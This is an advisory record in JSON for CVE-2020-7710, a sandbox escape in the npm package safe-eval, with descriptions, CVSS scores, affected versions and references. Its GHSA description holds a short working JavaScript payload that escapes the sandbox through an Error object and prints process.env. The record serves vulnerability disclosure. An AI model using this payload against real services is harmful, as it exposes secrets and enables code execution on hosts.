{"id":"CVE-2020-7710","aliases":["CVE-2020-7710","GHSA-hrpq-r399-whgw"],"related":[],"kind":"vulnerability","state":"published","title":"Sandbox Escape","summary":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"This affects all versions of package safe-eval. It is possible for an attacker to run an arbitrary command on the host machine.","source":"cvelist"},{"lang":"en","text":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x => {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Esto afecta a todas las versiones del paquete safe-eval. Es posible que un atacante ejecute un comando arbitrario en la máquina host.","source":"nvd"}],"published":"2020-08-21T09:15:13.975Z","modified":"2026-06-17T03:25:18.460Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","score":7.5,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"type":"custom","introduced":"0","fixed":"unspecified","status":"affected"}],"product":"safe-eval","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.4.1"}],"ecosystem":"npm","package":"safe-eval","purl":"pkg:npm/safe-eval","source":"ghsa"},{"ranges":[],"vendor":"safe-eval_project","product":"safe-eval","cpe":"cpe:2.3:a:safe-eval_project:safe-eval:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076","tags":["third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/hacksparrow/safe-eval/issues/19","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7710","tags":["advisory"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/1322","tags":["web"],"sources":["ghsa"]}],"credits":["Anirudh Anand"],"assigner":"snyk","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-7710","url":"https://www.cve.org/CVERecord?id=CVE-2020-7710","licence":"CVE Terms of Use","modified":"2024-09-16T19:26:06.364Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hrpq-r399-whgw","url":"https://github.com/advisories/GHSA-hrpq-r399-whgw","licence":"CC-BY-4.0","modified":"2026-03-13T21:56:24.860Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-7710","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7710","licence":"Public domain","modified":"2026-06-17T03:25:18.460Z"}],"updatedAt":"2026-11-25T22:57:54.315Z","epss":{"score":0.0143,"percentile":0.73809,"date":"2026-12-01T12:00:22.000Z"}}